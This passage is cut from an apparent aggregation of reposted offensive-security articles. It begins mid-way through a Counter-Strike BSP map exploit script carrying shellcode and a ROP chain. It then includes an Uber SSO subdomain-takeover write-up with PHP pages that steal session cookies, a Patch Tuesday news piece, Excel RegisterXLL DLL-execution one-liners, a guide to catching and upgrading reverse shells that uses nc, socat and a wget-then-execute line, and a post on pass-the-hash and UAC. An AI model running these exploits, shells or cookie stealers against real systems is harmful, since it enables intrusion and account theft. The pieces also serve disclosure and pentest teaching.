"\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C" + \ "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0" + \ "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B" + \ "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72" + \ "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03" + \ "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47" + \ "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F" + \ "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72" + \ "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66" + \ "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14" + \ "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE" + \ "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53" + \ "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24" + \ "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51" + \ "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE" + \ "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45" + \ "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54" + \ "\x24\x20\x57\xFF\xD0" shellcode += "\xeb\xfe" # infinite loop! (we dont want hl.exe to crash) shellcode += "\xeb\xfe" shellcode += "\xeb\xfe" shellcode += "\xeb\xfe" shellcode += "\xeb\xfe" shellcode_dwords = int(math.ceil(len(shellcode)/4.0)) extra_dwords = int(math.ceil((len(rop_gadgets)+shellcode_dwords)/3.0)) # Loop count (needs to be the exact amount of ROP we want to write data_buffer.append(dw(extra_dwords)) for addr in rop_gadgets: data_buffer.append(dw(addr)) for b in range(shellcode_dwords): data = "" for byte in range(4): idx = byte + b*4 # pad to nearest DWORD with INT3 if idx >= len(shellcode): data += "\xcc" else: data += shellcode[idx] data_buffer.append(data) second_idx += 8000*4 # time 4 because we skip every-other WORD, which means each index has 4 bytes # 8000 is arbitrary, but it doesn't cause the map load to exit with a FATAL before # we can exploit the function # UNCOMMENT TO CHANGE INITIAL SIZE OF OVERFLOW #mmfile[NUM_EDGES_OFF] = pack("B", 0x41) for i in range(int(math.ceil(len(data_buffer)/3.0))): mmfile[start_idx+4*i:start_idx+4*(i+1)] = pack("I", 8000+i) mmfile[second_idx+2*i:second_idx+2*(i+1)] = pack("H", 0x1000+i) second_idx += 2 # required because the game loads every-other word # This data will now be on the stack for j in range(3): sub_idx = j*4 + i*0xc data_idx = i*3 + j towrite = "" if data_idx >= len(data_buffer): towrite = "\x00"*4 else: towrite = data_buffer[i*3 + j] mmfile[vertex_data_start+sub_idx:vertex_data_start+sub_idx+4] = towrite #l.debug("Write[%08x] --> offset %d" % (unpack("I", towrite)[0], vertex_data_start+sub_idx)) # write out the corrupted file outfile = open(output_file, "wb") outfile.write(mmfile) outfile.close() l.info("Wrote %d byte exploit file to %s" % (len(mmfile), output_file)) l.info("Copy to game maps/ directory!") if __name__ == "__main__": main() As you can see, the exploit code is quite hardcoded to the map file. The shellcode and ROP chain are stored in the LUMP_VERTICES section and the LUMP_EDGES and LUMP_SURFEDGES are hijacked to get the function to read from an exact spot in the vertices lump. With more understanding of the BSP format combined with a parser, this exploit code would not have to guess offsets and it could just edit exact positions. Here’s the output when running the exploit { cscz-bsp } > ./exploit.py GoldSource .BSP file corruptor by @Digital_Cold [+] Corrupting target file eip-minimized.bsp [+] Writing to index buffer offset 0009e010... [+] Vertex buffer indexes start 000a9174 [+] Vertex data at 00043f7c [+] Wrote 2478632 byte exploit file to exploit-gen.bsp [+] Copy to game maps/ directory! Given that this vulnerability is now patched, it’s unlikely that this exploit will be of any use. Here is the exploit packagethat I sent Valve in my report. The shellcode and ROP chain are different, but the concept is the same. Remote Exploitation While developing this exploit I explored the idea of hosting it on a server. The only issue I ran into was getting the server itself to not crash when loading the map file. I came up with a possible method of hosting a malicious map file on a server. Due to the map crashing the server, what about not letting the server load the map? Instead have it load the legitimate map and then have the client download the map via HTTP as configured by the sv_downloadurl in your server.cfg. This variable was created to alleviate the slow download speeds when downloading directly from the Half-Life Dedicated Server (HLDS). Maps and other resources can be hosted directly under any HTTP server, such as nginx or apache, which will improve resource download speed. All we need the client to do is to start loading the map. At this point the vulnerability will be triggered and it won’t matter that the maps don’t match. Unfortunately map files are checksumed by the client and server (via CRC_MapFile). During the initial server connection, the client will compare its map checksum to the servers. If they don’t match, it will exit. I believe the approach to bypass this would be to modify the server binary to bypass or load a constant CRC value. I didn’t get this far, but I looked into it. Half-Life Security Improvements While developing the BSP exploit, I noted some key changes to the Half-Life GoldSrc Windows build process that would hamper future vulnerability impact and exploit development ease: Ensure that ASLR is enabled for hl.exe, steamclient.dll, and filesystem_stdio.dll Impact: This will limit the number of fixed address ROP gadgets available to attackers without a corresponding ASLR break via memory leak. Fix: Add /DYNAMICBASE to linker flags. Enable SafeSEH for all loaded modules, (hl.exe and filesystem_stdio.dll are missing it) Fix: Add /SAFESEH to linker flags. Impact: This will limit the use of Structured Exception Handler (SEH) exploits (which for this bug was possible due to unlimited stack overflow, leading to the corruption of on-stack exception handler function pointers). Enable stack cookies Impact: Enabling stack cookies protects large, on-stack buffers, which is most likely common in the GoldSrc engine. Future buffer overflows would become more difficult to exploit with this mitigation enabled. For the function with the buffer overflow, the usage of stack cookies (or canaries) would have prevented the straightforward saved return address hijack. Fix: Add /GS (guard stack) to compiler flags. Hopefully Valve takes my build environment modifications into consideration as it’s the cheapest and most effective way to improve the overall security posture of GoldSrc and other engines. On Shared Code Vulnerabilities After some digging, I found the source code for the vulnerable function, GL_SubdivideSurface. This function is a part of the original Quake engine and has been inherited by every derivative engine since its open source release! Who knows how many engines out there use this function internally. Thoughts and Future Work Finding bugs in Counter Strike was quite the process. Detailing out in writing makes me appreciate how many little details went into the whole process. This endeavor was primarily a learning experience for me and my first disclosure of a vulnerability. I certainly look forward to finding more interesting bugs and creating even more sophisticated exploits in the future. Follow me on twitter @Digital_Cold to keep up-to-date with any other interesting bugs or targets I run across or comment down below if you have any questions. Special thanks to TobalJackson for proofreading this article. Sursa: https://hernan.de/blog/2017/07/07/lock-and-load-exploiting-counter-strike-via-bsp-map-files/

Authentication bypass on Uber’s Single Sign-On via subdomain takeover Posted on June 25, 2017 by Arne Swinnen TL;DR: Uber was vulnerable to subdomain takeover on saostatic.uber.com via Amazon CloudFront CDN. Moreover, Uber’s recently deployed Single Sign-On (SSO) system at auth.uber.com, which is based on shared cookies between all *.uber.com subdomains, was found vulnerable to session cookie theft by any compromised *.uber.com subdomain. Therefore, the impact of the subdomain takeover could be increased to Authentication Bypass of Uber’s full SSO system, yielding access to all *.uber.com subdomains protected by it (e.g. vault.uber.com, partners.uber.com, riders.uber.com, etc). Uber resolved the subdomain takeover vulnerability and granted a $5.000 bounty for the two combined issues. Single Sign-On security revisited Generally, SSO systems are (variations of) any of the following three types, in order of popularity: OAuth: Security is mainly based on whitelisted callback URLs of service providers configured at the identity providers, and CSRF protection via the “state” parameter. Flaws are often via open redirect chains, e.g. Authentication bypass on Airbnb via OAuth tokens theft. SAML & friends: Security is based on XML messages signed with pre-exchanged cryptographic keys between service and identity providers. Flaws are often XML Signature bypasses, e.g. OneLogin authentication bypass on WordPress sites that bit Uber before. Shared (session) cookies between subdomains: Security is based on the integrity of all subdomains. Any vulnerability on any subdomain that provides an attacker insight in the shared session cookies issued by the SSO system is fatal. Flaws are thus often RCE, debug logs exposure, subdomain takeover and friends on subdomains, e.g. Authentication bypass on Ubiquity’s Single Sign-On via subdomain takeover I personally believe that the first two in this list have had many problems in the past, but have improved lately in terms of security. The latter SSO based on shared session cookies between subdomains is more a technology from the past, before the former two even existed. By design, it enforces that anything that wants to leverage the SSO system to be a subdomain of the same TLD as where the SSO system is based. Since the security of the SSO system is based on the integrity of the subdomains (see aforementioned report and the Uber case below), this is quite an ironic situation. By design, it encourages to increase the attack surface enormously. Uber case Uber used OAuth as an SSO system for *.uber.com subdomains in the past, as can be seen from this recent public disclosure report by @ngalog: [Uber 8k Bug] Login CSRF + Open Redirect = Account Takeover. However recently, they’ve changed (reverted?) to a SSO system based on shared session cookies among subdomains of *.uber.com. If you now browse to any uber.com subdomain that requires authentication (e.g. central, partners, riders, vault, developer, …), you get redirected to auth.uber.com instead. Once you’ve logged in there and you visit another subdomain, you’re logged in there transparently via the SSO system at auth.uber.com, which issues temporary session cookies for every *.uber.com subdomain after being logged in once. A vulnerability was identified in this SSO system that allows any compromised subdomain on *.uber.com to transparently issue and steal valid session cookies issued for *any* uber.com subdomain by auth.uber.com, as long as the victim had already authenticated once to the SSO. Uber did have some countermeasures in place to prevent this, but these were bypassed and reported together with the subdomain takeover for increased impact. Any compromised *.uber.com subdomain could be used to perform the same attack, although Uber explicitly mentioned several *.uber.com subdomains as out of scope in their bug bounty program policy at the time of reporting (e.g. *.dev.uber.com, *.et.uber.com, drive.uber.com, etc). Subdomain takeover Subdomain saostatic.uber.com was pointing to Amazon Cloudfront CDN via a DNS CNAME, but the hostname was not registered there anymore (dangling pointer). This allowed me to fully takeover this domain, highly similar to Subdomain takeover on rider.uber.com due to non-existent distribution on Cloudfrontby Frans Rosén. I effectively took over the subdomain as a Proof of Concept and hosted a simple HTML file as proof here: Authentication bypass In Uber’s SSO system, auth.uber.com acts as Identity Provider and issues temporarily shared session cookies for https://*.uber.com (“domain=uber.com” cookie attribute) to communicate identities to Service Providers (e.g. riders.uber.com, partners.uber.com, central.uber.com, vault.uber.com, developer.uber.com, and many more). Service Providers on their end immediately destroy the incoming temporary shared session cookies in case of erroneous (e.g. issued for other Service Provider) or successful authentication to ensure that the window for theft is small, as can be seen in the below Uber SSO Login diagram: The precious shared session cookie “_csid” can thus only be stolen between steps 9-12, which is a very short period (automatic browser redirects). Although not impossible to exploit (see Jack Whitton’s awesome CSP trick to block certain cookies from being sent to certain domains, coincidentally also on Uber’s bug bounty program), a more convenient flaw was identified that allows the shared session cookie to remain alive after step 12 in the browser’s cookie store in the diagram above. The issue is that, if the victim is already logged in at https://riders.uber.com (situation after last step 12 in diagram) when receiving a request containing a valid newly generated shared session cookie “_csid” from auth.uber.com, it is simply ignored and remains usable. Hence it stays alive in the browser until its cookie store is cleared. An attacker simply needs to replay step 3 in the above diagram as step 13 and end with an additional hidden request to https://saostatic.uber.com to steal the precious session cookie: So once an attacker gets his/her hands on the victim’s “_csid” shared session cookie for https://riders.uber.com, he/she can execute the normal login flow in their own browser and replace the issued “_csid” cookie value in step 9 to be logged in as the victim, right? Wrong. Uber had another surpising countermeasure in place, namely a variant of login cross-site request forgery protection. This is the actual updated Uber SSO Login diagram: The problem here are the GET param state=CSRFTOKEN and locally scoped state cookie that are added in step 3 by the Service Provider riders.uber.com and verified in step 11. Since we can’t steal these values from the victim’s browser, but only the “_csid” shared session cookie, this means game over, right? Unfortunately, wrong. An attacker can obtain a proper CSRFTOKEN value and accompanying state cookie value from https://riders.uber.com by starting a normal login scenario on their end (e.g. in their own browser or via a simple script). He/she can then relay the auth.uber.com URL generated by https://riders.uber.com in their own browser in step 3 to the victim’s browser to generate & steal the “_csid” shared session cookie for these values, and inject these in his/her own browser login scenario again in step 9. In this manner, the victim effectively generates the “_csid” temporary session token for the attacker’s login scenario in a separate browser, but this works flawlessly (e.g. no IP-based checks between steps were encountered). This still allows exploitation and thus victim impersonation in the following manner (we still assume that the victim is already logged in to auth.uber.com and visits a webpage under control by the attacker, so we basically continue the flow from the above diagram): Proof of concept A PoC says more than a thousand diagrams. In the PoC steps sent to Uber & showcased in the video below, the assumption is made that https://saostatic.uber.com is actually serving a valid SSL certificate in the victim’s browser, which was not the case. However, it could’ve easily been generated with Let’s Encrypt. Open the victim’s browser & browse to https://riders.uber.com. After being redirected to https://auth.uber.com, login with the victim’s credentials so you end up on https://riders.uber.com trips dashboard again. Open a second browser tab in the victim’s browser and browse to https://saostatic.uber.com/prepareuberattack.php. Accept any certificate warnings that you may receive here – again, we’re only simulating that the domain has a valid SSL certificate. Once the page has finished loading you should see a URL, “Cookie: ” string and a “Set-Cookie: ” strings underneath each other. This is all info gathered under the hood by the attacker’s webserver that is required to login as the victim now – everything has been stolen automagically. Open the separate attacker’s browser and setup an intercepting proxy tool to intercept requests and responses. Browse to the URL displayed on the prepareuberattack.php page output and intercept this request. Now copy the “Cookie: …” string displayed on prepareuberattack.php and paste it into the request headers. The response should be a redirect to https://riders.uber.com/trips, indicating successful authentication bypass. Last but not least, copy all the “Set-Cookie: ” lines from the prepareuberattack.php page output and paste them in the response before forwarding it to the browser. This ensures that the stolen cookies are permanently injected in the attacker’s browser. You are now logged in as the victim in the attacker’s browser. In a real attack scenario, an attacker would stealthily load https://saostatic.uber.com/prepareuberattack.php in the victim’s browser, e.g. through an iframe. Likewise, he/she would probably not display the URL and all the cookies on the resulting page, but store this on the server-side, ready to be abused in a stealthy fashion. Although it’s a lengthy explanation, the PoC video showcases how quick & effective exploitation by an attacker can be. The code of the https://saostatic.uber.com/prepareuberattack.php and https://saostatic.uber.com/uberattack.php pages is provided below. This was written quick & dirty for PoC purposes, but it did the job: prepareuberattack.php PHP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <html> <body> <script> <?php function HandleHeaderLine( $curl, $header_line ) { preg_match("/state=([^;]*);/", $header_line, $matches); if(sizeof($matches) > 0) { print("var cookiestate = '" . $matches[1] . "';\n"); } preg_match("/Location: (.*)/", $header_line, $matches); if(sizeof($matches) > 0) { print("var loc = '" . trim($matches[1]) . "';\n"); } return strlen($header_line); } $c = curl_init('https://riders.uber.com'); curl_setopt($c, CURLOPT_VERBOSE, 1); curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); curl_setopt($c, CURLOPT_HEADERFUNCTION, "HandleHeaderLine"); $page = curl_exec($c); ?> var csrf = loc.substring(loc.lastIndexOf("=")+1); var img = document.createElement("IMG"); img.onerror = function () { var iframe = document.createElement("iframe"); iframe.setAttribute("src","https://saostatic.uber.com/uberattack.php?cookiestate=" + encodeURIComponent(cookiestate) + "&csrftoken=" + csrf); iframe.setAttribute("width", "100%"); iframe.setAttribute("height", "10000"); document.body.appendChild(iframe); } img.src=loc; </script> </body> </html> uberattack.php PHP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <html> <body> <?php $cookiestring = "state=" . $_GET["cookiestate"] . "; "; $interestincookies = array("_udid", "_csid", "sid"); foreach ($_COOKIE as $name => $value) { if (in_array($name,$interestincookies)) { $cookiestring = $cookiestring . $name . "=" . str_replace(' ', '+', $value) . "; "; $cookiestringset = $cookiestringset . "Set-Cookie: " . $name . "=" . str_replace(' ', '+', $value) . ";</br>"; } } print "Url: " . 'https://riders.uber.com/?state=' . urlencode($_GET["csrftoken"]) . "<br /><br />"; print "Cookie: " . $cookiestring . "<br />"; print "<br />" . $cookiestringset . "<br />"; ?> </body> </html> The first file can be hosted anywhere, the second file must be hosted on the hijacked subdomain (since it reads & reflects the incoming session cookies). By simply changing “riders.uber.com” to any other subdomain of uber.com in these two PHP files, an attacker could generate valid sessions for these subdomains on behalf of the victim, e.g. vault.uber.com, partners.uber.com, developer.uber.com, … Recommendations The recommendations provided to Uber were twofold: Resolve the subdomain takeover of saostatic.uber.com by removing the dangling CNAME to AWS CloudFront CDN. Resolve the Authentication Bypass issue by any of the following, in order of priority: Revert the SSO system back to OAuth 2, since this does not have the side-effect of actually encouraging a large attack surface like the current shared session SSO system. Or, implement an IP address check: Store a user’s external IP address when issuing a shared “_csid” session cookie on auth.uber.com (identity provider) and verify that users presenting this shared session cookie to service providers on *.uber.com have the same external IP address, to prevent relay attacks like the one described above. There is a residual risk here, namely when the attacker has the same external IP address as its victim (e.g. on the same corporate network/wireless access point/…). Or, accept the inherent risk and include all *.uber.com subdomains in your bug bounty program scope, since they have the potential to fully compromise the SSO system, including the high-value targets vault.uber.com, partners.uber.com and riders.uber.com Ultimately, Uber removed the dangling CNAME and decided to implement the IP address check to decrease the exposed risk through their current cookie based SSO system. They thus opted to accept the residual risk involved. Timeline 07/04/2017: Submitted bug report to Uber 11/04/2017: Triaged by Uber 14/04/2017: $500 minimum bounty awarded 06/06/2017: Pinged Uber about the report, since I still owned saostatic.uber.com at this point 06/06/2017: Response from Uber that this report fell through the cracks, starting mitigations now 07/06/2017: DNS CNAME record for saostatic.uber.com removed, report marked as closed 14/06/2017: Extra $4.500 bounty awarded 07/07/2017: IP address check deployed by Uber and confirmed after retest 11/07/2017: Permission granted to publish blogpost by Uber Arne Swinnen Belgian. IT Security. Bug Bounty Hunter. Sursa: https://www.arneswinnen.net/2017/06/authentication-bypass-on-ubers-sso-via-subdomain-takeover/

Microsoft Releases Updates to Fix 26 Security Vulnerabilities in Windows This month’s Patch Tuesday addresses 54 vulnerabilities Jul 12, 2017 05:31 GMT · By Bogdan Popa · Microsoft has rolled out patches to fix a total of 54 vulnerabilities in its products, including a total of 26 security flaws in the Windows operating system. All Windows versions received patches this month, including Windows 7, Windows 8.1, and Windows 10, with critical vulnerabilities addressed for each version. There were no less than 19 critical flaws in the operating system, all of them leading to Remote Code Execution. One of the vulnerabilities that should be prioritized this month when starting patching is documented in CVE-2017-8589. It affects all Windows versions currently receiving support, including not only desktop client versions like Windows 7, 8.1, and 10, but also Windows Server 2008, 2008 R2, 2012, and 2016. The vulnerability resides in the Windows Search service and can be exploited with an SMB attack, though it’s important to note that it’s not related in any way to the security flaw that was exploited as part of the WannaCry and Petya ransomware attackers. The SMB vulnerability used in these attacks has already been patched in March this year. Microsoft explains that this new vulnerability could allow an attacker to get full control of an unpatched system by sending a crafted message to the Windows Search service. Windows Explorer vulnerability Another critical vulnerability that needs to be patched as soon as possible is CVE-2017-8463, which impacts Windows Explorer and thus affects all Windows versions that are still getting support. “To exploit this vulnerability, an attacker would first share both a folder and malware named with an executable extension, and then trick the user into thinking that the malware was the folder. The attacker could not force the user to open or browse the share but could use email or instant messages to trick them into doing so,” Microsoft explains. On the good side, Microsoft says there are no vulnerabilities that are being exploited in the wild, but users are recommended to update their systems as soon as possible anyway. Reboots are required to complete patching, and IT admins need to say work on Windows systems before launching the update. Sursa: http://news.softpedia.com/news/microsoft-releases-updates-to-fix-26-security-vulnerabilities-in-windows-516936.shtml

Execute DLL via the Excel.Application object's RegisterXLL() method BAT REM rundll32 mshtml.dll HTA one-liner command: rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\Windows\\Temp\\evilDLL.log');this.close(); JS // Create Instace of Excel.Application COM object var excel = new ActiveXObject("Excel.Application"); // Pass in path to the DLL (can use any extension) excel.RegisterXLL("C:\\Users\\Bob\\AppData\\Local\\Temp\\evilDLL.xyz"); Powershell # Create Instace of Excel.Application COM object $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application")) # Pass in path to the DLL (can use any extension) $excel.RegisterXLL("C:\Users\Bob\Downloads\evilDLL.txt") Sursa: https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52

Upgrading simple shells to fully interactive TTYs 10 JULY 2017 Table of Contents Generating reverse shell commands Method 1: Python pty module Method 2: Using socat Method 3: Upgrading from netcat with magic tl;dr cheatsheet Every pentester knows that amazing feeling when they catch a reverse shell with netcat and see that oh-so-satisfying verbose netcat message followed by output from id. And if other pentesters are like me, they also know that dreadful feeling when their shell is lost because they run a bad command that hangs and accidentally hit "Ctrl-C" thinking it will stop it but it instead kills the entire connection. Besides not correctly handling SIGINT, these"dumb" shells have other shortcomings as well: Some commands, like su and ssh require a proper terminal to run STDERR usually isn't displayed Can't properly use text editors like vim No tab-complete No up arrow history No job control Etc... Long story short, while these shells are great to catch, I'd much rather operate in a fully interactive TTY. I've come across some good resources that include very helpful tips and techniques for "upgrading" these shells, and wanted to compile and share in a post. Along with Pentest Monkey, I also learned the techniques from Phineas Fisher in his released videos and writeups of his illegal activities: Pentest Monkey - Post Exploitation Without a TTY Phineas Fisher Hacks Catalan Police Union Website Phineas Fisher - Hackingteam Writeup For reference, in all the screenshots and commands to follow, I am injecting commands in to a vulnerable web server ("VICTIM") and catching shells from my Kali VM ("KALI"): VICTIM IP: 10.0.3.7 KALI IP: 10.0.3.4 Generating reverse shell commands Everyone is pretty familiar with the traditional way of using netcat to get a reverse shell: nc -e /bin/sh 10.0.3.4 4444 and catching it with: nc -lvp 4444 The problem is not every server has netcat installed, and not every version of netcat has the -e option. Pentest Monkey has a great cheatsheet outlining a few different methods, but my favorite technique is to use Metasploit's msfvenom to generate the one-liner commands for me. Metasploit has several payloads under "cmd/unix" that can be used to generate one-liner bind or reverse shells: Any of these payloads can be used with msfvenom to spit out the raw command needed (specifying LHOST, LPORT or RPORT). For example, here's a netcat command not requiring the -e flag: And here's a Perl oneliner in case netcat isn't installed: These can all be caught by using netcat and listening on the port specified (4444). Method 1: Python pty module One of my go-to commands for a long time after catching a dumb shell was to use Python to spawn a pty. The pty module let's you spawn a psuedo-terminal that can fool commands like su into thinking they are being executed in a proper terminal. To upgrade a dumb shell, simply run the following command: python -c 'import pty; pty.spawn("/bin/bash")' This will let you run su for example (in addition to giving you a nicer prompt) Unfortunately, this doesn't get around some of the other issues outlined above. SIGINT (Ctrl-C) will still close Netcat, and there's no tab-completion or history. But it's a quick and dirty workaround that has helped me numerous times. Method 2: Using socat socat is like netcat on steroids and is a very powerfull networking swiss-army knife. Socat can be used to pass full TTY's over TCP connections. If socat is installed on the victim server, you can launch a reverse shell with it. You must catch the connection with socat as well to get the full functions. The following commands will yield a fully interactive TTY reverse shell: On Kali (listen): socat file:`tty`,raw,echo=0 tcp-listen:4444 On Victim (launch): socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 If socat isn't installed, you're not out of luck. There are standalone binaries that can be downloaded from this awesome Github repo: https://github.com/andrew-d/static-binaries With a command injection vuln, it's possible to download the correct architecture socat binary to a writable directoy, chmod it, then execute a reverse shell in one line: wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 On Kali, you'll catch a fully interactive TTY session. It supports tab-completion, SIGINT/SIGSTP support, vim, up arrow history, etc. It's a full terminal. Pretty sweet. Method 3: Upgrading from netcat with magic I watched Phineas Fisher use this technique in his hacking video, and it feels like magic. Basically it is possible to use a dumb netcat shell to upgrade to a full TTY by setting some stty options within your Kali terminal. First, follow the same technique as in Method 1 and use Python to spawn a PTY. Once bash is running in the PTY, background the shell with Ctrl-Z While the shell is in the background, now examine the current terminal and STTY info so we can force the connected shell to match it: The information needed is the TERM type ("xterm-256color") and the size of the current TTY ("rows 38; columns 116") With the shell still backgrounded, now set the current STTY to type raw and tell it to echo the input characters with the following command: stty raw -echo With a raw stty, input/output will look weird and you won't see the next commands, but as you type they are being processed. Next foreground the shell with fg. It will re-open the reverse shell but formatting will be off. Finally, reinitialize the terminal with reset. Note: I did not type the nc command again (as it might look above). I actually entered fg, but it was not echoed. The nc command is the job that is now in the foreground. The reset command was then entered into the netcat shell After the reset the shell should look normal again. The last step is to set the shell, terminal type and stty size to match our current Kali window (from the info gathered above) $ export SHELL=bash $ export TERM=xterm256-color $ stty rows 38 columns 116 The end result is a fully interactive TTY with all the features we'd expect (tab-complete, history, job control, etc) all over a netcat connection: The possibilities are endless now. Tmux over a netcat shell?? Why not? tl;dr cheatsheet Cheatsheet commands: Using Python for a psuedo terminal python -c 'import pty; pty.spawn("/bin/bash")' Using socat #Listener: socat file:`tty`,raw,echo=0 tcp-listen:4444 #Victim: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 Using stty options # In reverse shell $ python -c 'import pty; pty.spawn("/bin/bash")' Ctrl-Z # In Kali $ stty raw -echo $ fg # In reverse shell $ reset $ export SHELL=bash $ export TERM=xterm-256color $ stty rows <num> columns <cols> Any other cool techniques? Let me know in the comments or hit me up on twitter. Enjoy! -ropnop Sursa: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

WillFollow Co-founder of Empire/BloodHound/Veil-Framework | PowerSploit developer | Microsoft PowerShell MVP | Security at the misfortune of others | http://specterops.io Mar 16 Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy Nearly three years ago, I wrote a post named “Pass-the-Hash is Dead: Long Live Pass-the-Hash” that detailed some operational implications of Microsoft’s KB2871997 patch. A specific sentence in the security advisory, “Changes to this feature include: prevent network logon and remote interactive logon to domain-joined machine using local accounts…” led me to believe (for the last 3 years) that the patch modified Windows 7 and Server 2008 behavior to prevent the ability to pass-the-hash with non-RID 500 local administrator accounts. My colleague Lee Christensen recently pointed out that this was actually incorrect, despite Microsoft’s wording, and that the situation is more nuanced than we initially believed. It’s worth noting that pwnag3’s seminal “What Did Microsoft Just Break with KB2871997 and KB2928120” article also suffers from the same misunderstandings that my initial post did. We now have a better understanding of these topics and wanted to set the record straight as best we could. This is my mea culpa for finally realizing that KB2871997, in the majority of situations, had absolutely nothing to do with stopping “complicating” the use of pass-the-hash in Windows enterprises. Apologies for preaching the incorrect message for nearly 3 years- I hope to atone for my sins :) And as always, if there are errors in this post, please let me know and I will update! Clarifying KB2871997 So what did this patch actually do if it didn’t automatically “prevent network logon and remote interactive logon to domain-joined machines using local accounts”? As Aaron Margosis describes, the patch introduced, among many other changes, two new security identifiers (SIDs): S-1–5–113 (NT AUTHORITY\Local account) and S-1–5–114 (NT AUTHORITY\Local account and member of Administrators group). As detailed in the Microsoft article, these SIDs can be used through group policy to effectively block the use of all local administrative accounts for remote logon. Note that while KB2871997 backported these SIDs to Windows 7 and Server 2008/2012, they were incorporated by default in the Windows operating system from Windows 8.1 and Server 2012 R2+. This is something that Sean Metcalf has previously mentioned and Aaron specifically clarified in the comments of that Microsoft post. Sidenote: Luckily for us, this also means that any user authenticated on the domain can enumerate these policies and see what machines have these restrictions set. I’ll cover how to perform this type of enumeration and correlation in a future post. I assumed, incorrectly, that this patch modified existing behavior on Windows 7 machines. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500 Administrator (in most situations, see more below). Here we can see that KB2871997 is not installed on a basic Windows 7 install: Yet executing pass-the-hash with the ‘admin’ non-RID 500 account that’s a member of local Administrators fails: So this behavior existed even before the KB2871997 release. Part of this confusion was due to the language used in the security advisory, but I take responsibility for not testing the situation fully and relaying the correct information. While we do highly recommend Aaron’s recommendations of deploying GPOs with these new SIDs to help mitigate lateral spread, we also reserve the right to still smirk at the KB’s original title ;) http://www.infosecisland.com/blogview/23787-Windows-Update-to-Fix-Pass-the-Hash-Vulnerability-Not.html Remote Access and User Account Control So if the patch isn’t affecting this behavior, what is preventing us from using pass-the-hash with local admin accounts? And why does the RID 500 account operate as a special case? Adding to that, why are domain accounts that are members of local administrators exempt from this blocking behavior as well? Also, over the past several years we’ve also noticed on some engagements that pass-the-hash will still work with non-RID 500 local admin accounts, despite the patch being applied. This behavior always bugged us but we think we can finally explain all these inconsistencies. The actual culprit for all these questions is user account control (UAC) token filtering in the context of remote access. I always thought of UAC solely in the context of local host actions but there are various implications for remote situations as well. The ”User Account Control and Remote Scenarios” section of the Microsoft “Windows Vista Application Development Requirements for User Account Control Compatibility” document and “Description of User Account Control and remote restrictions in Windows Vista” post both explain a lot of this behavior, and clarified several points for me personally. Tl;dr for any non-RID 500 local admin account remotely connecting to a Windows Vista+ machine, whether through WMI, PSEXEC, or other methods, the token returned is “filtered” (i.e. medium integrity) even though the user is a local administrator. Since there isn’t a method to remotely escalate to a high-integrity context, except through RDP (which needs a plaintext password unless ‘Restricted Admin’ mode is enabled) the token remains medium integrity. So when the user attempts to access a privileged resource remotely, e.g. ADMIN$, they receive an “Access is Denied” message despite technically having administrative access. I’ll get to the RID 500 exception in a bit ;) For local user accounts in a local “Administrators” group, the “Windows Vista Application Development Requirements for User Account Control Compatibility” document describes the following behavior: When a user with an administrator account in a Windows Vista computer’s local Security Accounts Manager (SAM) database remotely connects to a Windows Vista computer, the user has no elevation potential on the remote computer and cannot perform administrative tasks. Microsoft’s “Description of User Account Control and remote restrictions in Windows Vista” post describes this in another way: When a user who is a member of the local administrators group on the target remote computer establishes a remote administrative connection…they will not connect as a full administrator. The user has no elevation potential on the remote computer, and the user cannot perform administrative tasks. If the user wants to administer the workstation with a Security Account Manager (SAM) account, the user must interactively log on to the computer that is to be administered with Remote Assistance or Remote Desktop. And for domain user accounts in a local “Administrators” group, the document states: When a user with a domain user account logs on to a Windows Vista computer remotely, and the user is a member of the Administrators group, the domain user will run with a full administrator access token on the remote computer and UAC is disabled for the user on the remote computer for that session. So that explains why local admin accounts fail with remote access (except through RDP) as well as why domain accounts are successful. But why does the built-in RID 500 Administrator account act as a special case? Because by default the built-in administrator account (even if renamed) runs all applications with full administrative privileges (“full token mode”), meaning that user account control is effectively not applied. So when remote actions are initiated using this account, a full high-integrity (i.e. non-filtered) token is granted, allowing for proper administrative access! There is one exception- “Admin Approval Mode”. The key that specifies this is at HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken and is disabled by default. However, if this key is enabled, the RID 500 account (even if it’s renamed) is enrolled in UAC protection. This means that remote PTH to the machine using that account will then fail. But there’s a silver lining for attackers- this key is often set through Group Policy, meaning that any domain authenticated user can enumerate what machines do and do not have FilterAdministratorToken set through the application of GPOs. While this will miss cases where the key is set on a standard “gold” image, performing this key enumeration from the initial machine an attacker lands on, combined with GPO enumeration, should cover most situations. And remember that 